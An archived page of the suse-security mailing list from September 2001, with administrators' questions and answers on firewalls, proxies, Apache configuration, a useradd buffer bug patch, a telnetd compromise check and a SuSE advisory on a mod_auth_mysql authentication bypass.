> yes, i am using logcheck, is that bad? no, that's great :) it's perfectly normal to have those .offset files. > # ps uax |grep syslog > root 355 0.0 0.4 1340 588 ? S 09:46 0:00 /sbin/syslogd > root 1310 0.0 0.4 1532 548 pts/1 S 10:52 0:00 grep syslog this is ok. if you still get no logging, restart syslogd rcsyslog restart (or rcsyslogd restart?) Markus -- _____________________________ /"\ Markus Gaugusch ICQ 11374583 \ / ASCII Ribbon Campaign markus(a)gaugusch.dhs.org X Against HTML Mail / \

1 0

firewall2 ICMP MASQ?
by Anthony Hogbin 13 Sep '01

13 Sep '01

Hello All Same issue, different person - no resolution as yet. Firewall2 - on SuSE 7.1 kernel 2.4.x LAN is masqueraded. DMZ is real IP External IP is real IP ISSUE: Masqueraded LAN is 192.168.x.x - it can ping the DMZ machines, and the firewall (with all ping settings set to "yes" - however is unable to ping machines out in the real world. Surely since the local IP's are masqueraded - they go out with it's IP address, and are routable? The firewall is set to full logging - yet the it says quite happily FW-ACCEPT-PING and passes it from LAN NIC to world facing NIC. ALLOW_PING is set to yes for FW DMZ and EXT while I am testing. Looking at the tcpdump from the external NIC I can see that it is trying to ping from 192 address. How on earth do I get it to Masquerade the ping? If I restrict what services they have - then I cannot ping. If I masq with simply 192.168.0.0/24 it works.... and it will not allow me to do 192.168.0.0/24,icmp *ARGH* Can someone put me out of my misery? -----Original Message----- From: semat [mailto:semat@wawa.eahd.or.ug] Sent: 17 July 2001 10:41 To: maillist Cc: suse-security(a)suse.com Subject: Re: [suse-security] Suse firewall script question > network. But no request gets an answer. Are you using private address space or public space? if it is private then you have to turn on masquerading for the internal network. However if your network is using public ip addresses, then it is ok. However in both cases you should turn on ip forwarding if the two networks are on different interfaces on your machine. This can be done by editing /etc/rc.config and setting ip_forward=yes or in the firewall preferably both. Or you can do it manually whenever you need to with echo 1> /proc/sys/net/ipv4/ip_forward and tunr it off with echo 0> /proc/sys/net/ipv4/ip_forward Noah. -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com __________________________________________________ A n t h o n y H o g b i n www.zerosandones.co.uk lynx -source http://www.zerosandones.co.uk/anthony.pgp | pgp -fka

1 0

RE: [suse-security] reverse Proxy [was: http proxy]
by Scharpff＠tembit.de 13 Sep '01

13 Sep '01

mmh ... Maybe this is realy a missunderstandig. What I`m searching is a pice of Software that I can publish my HTTP-Servers in my DMZ to the world. AND I would like to do things like: www.Name.de/sub1/ -> box2.internal/sub_main/sub www.Name.de/sub2/ -> box3.internal/something_else/sub www.Name.de/sub1/sub2 -> box2.internal/sub_main/sub3 We have one external IP, but have very different boxes for the diffrent parts of our Web-Service. Like box2 runs NT, box3 runs Solaris. As far as I know Squid does only a Proxy the other way round. Maybe I can do this even with a kind of redirecting, therefor we mostly have generated JPEG's, they woun't be cached anyway. Franziskus > -----Original Message----- > From: Kurt Seifried [mailto:listuser@seifried.org] > Sent: Donnerstag, 13. September 2001 10:43 > To: Franziskus Scharpff; suse-security(a)suse.com > Subject: Re: [suse-security] reverse Proxy [was: http proxy] > > > > Hello, > > > > might be off topic, but I'm searching for a reliable > Reverse-Proxy for Our > > Web-Servers. > > A more correct term is HTTP accelerator (couldn't figure out > your email > initially =). > > > As far as I know does Apache do the Job, but only for HTTP 1.0. > > Are there any other Solutions ? > > Or is the mod_proxy meanwhile updated ? > > Squid will pass HTTP 1.1 headers, Apache too. mod_proxy is > updated in 1.2. > > > Any Security-Hole's ? > > Yup. Misconfiguration is easy. I may be able to use your > proxy to attack > your internal network for example. Or anonymize my web > surfing. If you do it > be very restrictive and use firewalling on the accelerator machine to > enforce what it should do (i.e. only talk to port 80 on internal www > server). > > > Thank you for your help. > > > > Franziskus > > Kurt Seifried, kurt(a)seifried.org > PGP Key ID: 0xAD56E574 Fingerprint: > A15B BEE5 B391 B9AD B0EF AEB0 AD63 0B4E AD56 E574 > http://www.seifried.org/ > >

4 3

reverse Proxy [was: http proxy]
by Scharpff＠tembit.de 13 Sep '01

13 Sep '01

Hello, might be off topic, but I'm searching for a reliable Reverse-Proxy for Our Web-Servers. As far as I know does Apache do the Job, but only for HTTP 1.0. Are there any other Solutions ? Or is the mod_proxy meanwhile updated ? Any Security-Hole's ? Thank you for your help. Franziskus > -----Original Message----- > From: Kurt Seifried [mailto:listuser@seifried.org] > Sent: Donnerstag, 13. September 2001 08:41 > To: suse-security(a)suse.com > Subject: [suse-security] re: http proxy > > > How is it a resource hog? You can tune it to be as > lightweight or heavy as > you want (personally I let it have 256 megs of ram and a gig > of drive space > and it's my personal proxy). > > P.S.: use freaking text mail. > > Kurt Seifried, kurt(a)seifried.org > PGP Key ID: 0xAD56E574 Fingerprint: > A15B BEE5 B391 B9AD B0EF AEB0 AD63 0B4E AD56 E574 > http://www.seifried.org/ > > > > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com >

2 1

re: http proxy
by Kurt Seifried 13 Sep '01

13 Sep '01

How is it a resource hog? You can tune it to be as lightweight or heavy as you want (personally I let it have 256 megs of ram and a gig of drive space and it's my personal proxy). P.S.: use freaking text mail. Kurt Seifried, kurt(a)seifried.org PGP Key ID: 0xAD56E574 Fingerprint: A15B BEE5 B391 B9AD B0EF AEB0 AD63 0B4E AD56 E574 http://www.seifried.org/

1 0

http proxy
by Togan Muftuoglu 13 Sep '01

13 Sep '01

Hi, I want to enable http proxy on my firewall/router which has 24 MB RAM and very limited HD space. Therefore I need a http proxy which is very small in the needs for RAM and HD space. I found tinyproxy to be one solution. Has anyone applied this or any other http proxy on a limited resources. TIA -- Togan Muftuoglu

7 9

shadow.rpm / useradd error (fwd)
by Marcel Ritter 11 Sep '01

11 Sep '01

Hi! The following post was send to the shadow maintainer/and SuSE support last week. No response from SuSE yet - perhaps someone here is interested and may psuh things a little :-) Bug was confirmed by maintainer and already made it into CVS version. (More: ftp://ftp.pld.org.pl/software/shadow/README) Ciao, Marcel --------------------- Hi there! I tried to add an awful lot of users to one group today using "useradd" from the shadow package. After some odd error messages I had a look at my /etc/group and the line containing my group/users was trashed. After some testing I had a look at the sources and tried the latest shadow release 20001016 - same problem. So I did some debugging and found the source of the problems. Due to a big buffer size in lib/commonio.c this error does only appear if a line gets longer than 4096 bytes - so I guess there are very few people stumbling across this. Anyway I fixed it - patches are included (the second one is only needed to make it compile on my system). I tried my code with a buffer size of only 32 bytes and it worked - so I guess 4096 should be fine too :-) Hope there'll be a correct version soon. I also had a look at the CVS version of the shadow utils - but the concerned files are unchanged since 20001016. Test script: #!/bin/sh typeset -i NUM NUM=0 groupadd demogroup while [ $NUM -le 1000 ]; do useradd -g demogroup -G demogroup -p "NONE" user$NUM NUM=$NUM+1 done # don't forget to have a look at /etc/group if you ran it Ciao, Marcel Ritter -- Linux-Betreuer Regionales Rechenzentrum Erlangen diff -Nur shadow-20001016.orig/lib/commonio.c shadow-20001016/lib/commonio.c --- shadow-20001016.orig/lib/commonio.c Sat Sep 2 20:40:42 2000 +++ shadow-20001016/lib/commonio.c Thu Sep 6 21:36:56 2001 @@ -470,12 +470,15 @@ while (db->ops->fgets(buf, buflen, db->fp)) { while (!(cp = strrchr(buf, '\n')) && !feof(db->fp)) { + int len; + buflen += BUFLEN; cp = (char *) realloc(buf, buflen); if (!cp) goto cleanup_buf; buf = cp; - db->ops->fgets(buf + buflen - BUFLEN, BUFLEN, db->fp); + len = strlen(buf); + db->ops->fgets(buf + len, buflen - len, db->fp); } if ((cp = strrchr(buf, '\n'))) *cp = '\0'; diff -Nur shadow-20001016.orig/src/useradd.c shadow-20001016/src/useradd.c --- shadow-20001016.orig/src/useradd.c Mon Oct 9 22:03:12 2000 +++ shadow-20001016/src/useradd.c Thu Sep 6 21:40:35 2001 @@ -1765,7 +1765,7 @@ * to that group, use useradd -g username username. * --bero */ - if (! (nflg || gflg)) { + if (! gflg) { if (getgrnam(user_name)) { fprintf(stderr, _("%s: group %s exists - if you want to add this user to that group, use -g.\n"), Prog, user_name); exit(E_NAME_IN_USE);

2 1

Why isn't the telnetd update in YOU yet?
by JW 11 Sep '01

11 Sep '01

Hello, I just fired up YaST2 on my servers in order up update the telnetd, and have found that it's not in YOU yet. Is there any explanation for why it's not? Surely SuSE understands that security issues are time sensitive. ---------------------------------------------------- Jonathan Wilson System Administrator Cedar Creek Software http://www.cedarcreeksoftware.com Central Texas IT http://www.centraltexasit.com

2 1

question ipchain-ip address
by J Barnes 11 Sep '01

11 Sep '01

Hi I'm writing custom ip chains and am filtering out ip addresses that are not mine. the book i bought on ipchains specifys a static ip address for me in the chains but my internet provider gives me a dynamic ip address on my modem connection. How can I associate the dynamic address with the static address in my ip chains? Is there a better way? PLEASE HELP

4 3

Checking for telnetd exploit
by JW 11 Sep '01

11 Sep '01

Hello, I have unfortunately discovered that telnet was still enabled on a couple of my servers, and feel that is it very necessary to check for exploitation. However I'm having trouble trying to find out what to look for, the only thing I've found is: "An infected system also creates a lockfile in reference to the back door; this will appear as '/tmp/982235016-gtkrc-429249277'. The presence of this lockfile is an indication of a potential infection with the Remote Shell Trojan." I would actually like to know even if I've been hit, not just if the attempt was successful. Can anyone point me to some information on what to look for? P.S. I have not yet figured out if x.c is the same as RST yet :-) ---------------------------------------------------- Jonathan Wilson System Administrator Cedar Creek Software http://www.cedarcreeksoftware.com Central Texas IT http://www.centraltexasit.com

1 0

Re: [suse-security] Apache on SuSE 7.2 and .htaccess
by Markus Gaugusch 10 Sep '01

10 Sep '01

On Mon, 10 Sep 2001, Ernesto Fries wrote: > chmod a+r .htacces > chmod a+r .htpasswd no, this is not the problem :( # ll .htaccess -rw-r--r-- 1 root root 14 Sep 10 12:13 .htaccess Markus -- _____________________________ /"\ Markus Gaugusch ICQ 11374583 \ / ASCII Ribbon Campaign markus(a)gaugusch.dhs.org X Against HTML Mail / \

6 13

SuSE Security Announcement: apache-contrib (SuSE-SA:2001:31)
by Thomas Biege 10 Sep '01

10 Sep '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: apache-contrib Announcement-ID: SuSE-SA:2001:31 Date: Monday, September 10th 2001 12:30 MEST Affected SuSE versions: 7.1, 7.2 Vulnerability Type: authentication bypass Severity (1-10): 3 SuSE default package: no Other affected systems: yes Content of this advisory: 1) security vulnerability resolved: mod_auth_mysql problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information The Apache module mod_auth_mysql 1.4,which is shipped since SuSE Linux 7.1, was found vulnerable to possible bypass authentication by MySQL command injection. An adversary could insert MySQL commands along with a password and these commands will be interpreted by MySQL while mod_auth_mysql is doing the password lookup in the database. A positive authentication could be returned. Note, that this bug has not yet been proven exploitable so far. A temporary fix does not exist; we recommend to update your system with the new RPM from our FTP server. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Uhv file.rpm" to apply the update. After installing the updated RPM run - rcapache restart - SuSEconfig i386 Intel Platform: SuSE-7.2 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-contrib-1.0.9-94.i386… 7c84f6c3f8aaf2b96a312fea4d36abce source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/apache-contrib-1.0.9-94.src… 56ad3d7f883a3e3eb5e96c5a92f7a2e2 SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/apache-contrib-1.0.8-35.i386… cd7cedc70d56df239db8e4434344a46e source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/apache-contrib-1.0.8-35.src… 7a0ca55c351b81756a05dfcff4e062be Sparc Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/apache-contrib-1.0.8-22.spa… bdb772783eedc1fb235e2ff0af5517f7 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/apache-contrib-1.0.8-22.sr… a5b625c3b0820f4715aeee18d20a9306 AXP Alpha Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/apache-contrib-1.0.8-23.alpha… 3958307564b855c81e556b4c7e01c105 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/apache-contrib-1.0.8-23.src.… 143386a82750af64aec0f615fc847ab2 PPC Power PC Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/apache-contrib-1.0.8-22.ppc.r… 97e4ab067fc16b36ecdd5bc8915379ef source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/apache-contrib-1.0.8-22.src.… aa2f5914d8e00ef511081096a1c33671 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We advise against subscribing to lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the toplevel directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =================================================== SuSE's security contact is <security(a)suse.com>. The <security(a)suse.com> public key is listed below. =================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the cleartext signature shows proof of the authenticity of the text. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 l2LBCXFqw5+5fA== =Jnnf - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3in Charset: noconv iQEVAwUBO5znyXey5gA9JdPZAQGEOQgAhl5wJwgsVz7fjcPP+fRM85AHW44/4Fgt RBbiEH7j3e8/k9eALFyBUxRZ5s8Nx7ouTyMHaypdqzacQT2LLsr2XKLIUgVPBRNg WJu/FuMfmJ2716SIhAto9hyShZO/KNjXPiW/V02EB1oLETaGzBZtGH4+lHIF4KQr 7vJ6FlRDPUpAZgRWgkCVP1gV1IhurqHCDUufclSPISJzaaP5P/v1JqEdAgrKykyk S2yAu8W/cNbenot8TV3GopfuGf/wlPkhUd8BloT2otLo6WkHlLLxd1FC3jm0CFHD SVYH2DPvX2AarnkH2yag7KFc0kZLwzQIYmliJ7purS3E63ZFtbTcdw== =tPMa -----END PGP SIGNATURE----- Bye, Thomas -- Thomas Biege, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg E@mail: thomas(a)suse.de Function: Security Support & Auditing "lynx -source http://www.suse.de/~thomas/contact/thomas.asc | pgp -fka" Key fingerprint = 51 AD B9 C7 34 FC F2 54 01 4A 1C D4 66 64 09 84

1 0

https and portforwarding
by Philipp Snizek 10 Sep '01

10 Sep '01

Dear list users, This is the config I have: Inet network: 195.144.47.112/29 RFC1918 network: 192.168.1.0/29 border gateway --- gate.belfin.ch --- IIS 5 http/https .113 eth0: .114 eth0: .2 eth1: .1 Portforwarding is set up on gate.belfin.ch (linux box) from .114 to .2 on ports 80 and 443. I can access http on .2, but I cannot access https. I don't think theres something wrong with my portforwarding config (see below). But there could be something wrong with the ssl certificate. Telnetting from .1 to .2:80 and .2:443 is no problem. Locally on .2 I can access to http but not to https. IE says server or DNS cannot be found. Seems like the port is being resetted by 192.168.1.2: iptraf screenshot for https after loading the web page: 195.144.47.114:443 212.254.96.227:10117 4 1136 CLOSED eth0 212.254.96.227:10117 195.144.47.114:443 7 557 CLOSED eth0 192.168.1.2:443 212.254.96.227:10117 4 1136 CLOSED eth1 212.254.96.227:10117 192.168.1.2:443 7 557 CLOSED eth1 iptraf screenshot for http after loading the web page: 212.254.96.227:10119 195.144.47.114:80 8 1719 --A- eth0 195.144.47.114:80 212.254.96.227:10119 5 1985 -PA- eth0 212.254.96.227:10119 192.168.1.2:80 8 1719 --A- eth1 192.168.1.2:80 212.254.96.227:10119 5 1985 -PA- eth1 Thank you any help. Philipp

1 0

Apache on SuSE 7.2 and .htaccess
by Markus Gaugusch 10 Sep '01

10 Sep '01

I'm having trouble with a fresh installed (and updated) suse 7.2 box. In a directory (/usr/local/httpd/htdocs/.../...) there is a .htaccess with the following content: --snip-- deny from all --snip-- But it does not work :( linux:~ # rpm -qa |grep apa apache-1.3.19-48 apache-contrib-1.0.9-94 are there any packets missing? I also disabled mod_auth_nds and mod_auth_ldap, (although they were not installed anyway, just for safety) thank you for help Markus Gaugusch -- _____________________________ /"\ Markus Gaugusch ICQ 11374583 \ / ASCII Ribbon Campaign markus(a)gaugusch.dhs.org X Against HTML Mail / \

1 0

is this client being hacked?
by Gregory M. Begumisa 10 Sep '01

10 Sep '01

Recently a client's qpopper "just stopped working" without explanation The logs didn't reveal much....and so i simply reinstalled qpopper. what could cause qpopper to "die"? ---- Greg

1 0

rotate_logfiles possibly loss of information
by Severin Wiedemann 10 Sep '01

10 Sep '01

Hello ! I discovered that the script /etc/cron.daily/aaa_base_rotate_logs may loose information in the logfiles. it performs the following steps (a bit simplified) 1. cp "logfile" "logfile".o 2. cp "/dev/null" "logfile" 3. reload the service 4. compress the logfile etc. All data written to the logfile between step 1 and 2 will be lost. I don't know if it's save to cp a file while another process is writing to it, if not, step 1 alone may loose data. I wonder why this script doesn't do it the "normal" (or what I thought the normal way is):(a bit simplified) 1. mv "logfile" "logfile".o 2. touch "logfile" 3. reload the service 4. ... I think the security ml is appropriate, because (in)complete are very relevant for the security of our systems. thank you Nicolas/Severin -- Wiedemann EDV Systeme GmbH Landsbergerstr. 77 80339 München Tel.: 089/5108599-0 Fax.: 089/5108599-99

1 0

Firewall/IPChains or not ?
by A. Meinerzhagen 10 Sep '01

10 Sep '01

Hi, List. I have a question regarding the setup of our Webserver, well actually two. Is there a save way other than sftp/scp to let people update their webpages? Clients are using lots of Windows-Computers. After an Intrusion last week we don't like the idea anymore, that people use ftp to put their pages on the server. Does it make sense, with our setup, to use SuSE Firewall at all? Setup is : WWW---->FW---->(eth0) Webserver (eth1)<--->LAN ^ | ^ |------------------------v-----------------| Weird, I know. Incomming Traffic will go throug FW, but outgoing not. The Webserver-machine runs two instances of apache, to serve the www-pages and the local www-pages. That's the reason for the two NIC's. But by design we have to look at both NIC's as hostile Networks, because any computer is connected any time to the Inter- net (University). If using the Firewall, how would a setup look like? Or better IPChains? And what would the Rules be ? We are serving only ports 80, 443, and 22 (http, https, ssh) to the "outside" and at the moment to the "inside" also. If people would insist to use ftp from inside, what then ? Thanks in advance, A. Meinerzhagen

10 10

Re: [suse-security] Firewall/IPChains or not ?
by Wagner, Uwe 10 Sep '01

10 Sep '01

Hi, I'm using the following model with dynamic IP-Adress : Internet --- FW with webserver and ftp-proxy --- ftp-server --- LAN Updates from the LAN are done by rsync with ssh. The ftp-server exports a partition to the firewall, do you think, this is a problem ? And what's about exporting a partition from the ftp-server to the LAN for direct updates ? uwe -----Ursprungliche Nachricht----- Von: Stefan_Walther(a)gehag-dsk.de [mailto:Stefan_Walther@gehag-dsk.de] Gesendet: Samstag, 8. September 2001 20:28 An: suse-security(a)suse.com Betreff: Re: [suse-security] Firewall/IPChains or not ? Hi, I think you should install a second firewall. Maybe you should use the following model: INTERNET---FW1---(DMZ, with Webserver)---FW2---LAN You should be able to update your websites from the lan via ftp, without getting intrused by someone of the Internet. Maf king wrote that you should use iptables. Thats right, because of the real NAT which you can enable at FW1. At this point you can redirect incoming connections to port 80 to the webserver in the DMZ. The other ports can be closed if you do not need to use them. At FW2 you can enable NAT to the webserver via iptables. THX, have much fun. MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961 Hi A.M. On 2001.09.08 15:17:46 +0100 A. Meinerzhagen wrote: > Hi, List. > > > Is there a save way other than sftp/scp to let people update their > webpages? > Clients are using lots of Windows-Computers. After an Intrusion last > week > we don't like the idea anymore, that people use ftp to put their pages > on the server. Can't think of anything easy... are all your users going to update from inside your LAN, or do thay have to update over the internet? One soloution I have seen to this problem is a temporary FTP password : something like 1. you email the server, 2. a pasword is generated and is only valid for one hour 3. password emailed back to the user. Not great, but cracker has less time when she can intrude your box. > > Does it make sense, with our setup, to use SuSE Firewall at all? > Setup is : > IMHO, it nearly always makes sense to firewall - layers of security make it harder for a bad guy to get anywhere even if he breaks into one box... > WWW---->FW---->(eth0) Webserver (eth1)<--->LAN > ^ > | ^ > |------------------------v-----------------| > > Weird, I know. Incomming Traffic will go throug FW, but outgoing not. > > The Webserver-machine runs two instances of apache, to serve > the www-pages and the local www-pages. That's the reason for the > two NIC's. But by design we have to look at both NIC's as hostile > Networks, because any computer is connected any time to the Inter- > net (University). If using the Firewall, how would a setup look like? > Or better IPChains? And what would the Rules be ? We are serving > only ports 80, 443, and 22 (http, https, ssh) to the "outside" and at > the moment to the "inside" also. If people would insist to use ftp > from inside, what then ? > I'm not sure how you gain anything by having 2 NICs on the same LAN, to my eyes, you seem to be making things too complicated... If you are using kernel 2.4.x, try iptables - it is more flexible than ipchains SuSE firewall basically makes rules for ipchains / iptables so one isn't "better" than the other, they use different ways to do the same thing. Given your unusual set-up (but fairly simple needs), I think you would be better to roll your own using iptables (sorry, Marc ;-) ) Have a look at the HOWTO at http://netfilter.samba.org for some iptables ideas. HTH, Maf. > > Thanks in advance, A. Meinerzhagen > -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Maf. King Standby Exhibition Services 